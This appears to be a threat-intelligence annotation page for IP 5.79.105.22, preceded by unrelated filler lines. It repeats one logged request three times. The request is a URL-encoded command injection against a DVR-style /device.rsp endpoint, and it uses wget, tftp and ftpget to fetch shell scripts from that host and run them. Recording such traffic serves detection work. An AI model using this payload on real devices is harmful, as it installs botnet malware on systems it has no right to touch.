One Ticket Available.

One meeting. One person.
The Next Moon Show Is: Flower Moon

Annotations for 5.79.105.22

July 6, 2025, 4:56 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh)
Pattern: /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh
July 6, 2025, 4:56 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh)
Pattern: /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh
July 6, 2025, 4:56 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh)
Pattern: /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F5.79.105.22%2Ftbk.sh%3B%20chmod%20777%20tbk.sh%3B%20sh%20tbk.sh%3B%20tftp%205.79.105.22%20-c%20get%20tbk1.sh%3B%20chmod%20777%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20tftp%20-r%20tbk2.sh%20-g%205.79.105.22%3B%20chmod%20777%20tbk2.sh%3B%20sh%20tbk2.sh%3B%20ftpget%20-v%20-u%20anonymous%20-p%20anonymous%20-P%2021%205.79.105.22%20tbk1.sh%20tbk1.sh%3B%20sh%20tbk1.sh%3B%20rm%20-rf%20tbk.sh%20tbk1.sh%20tbk2.sh%20tbk1.sh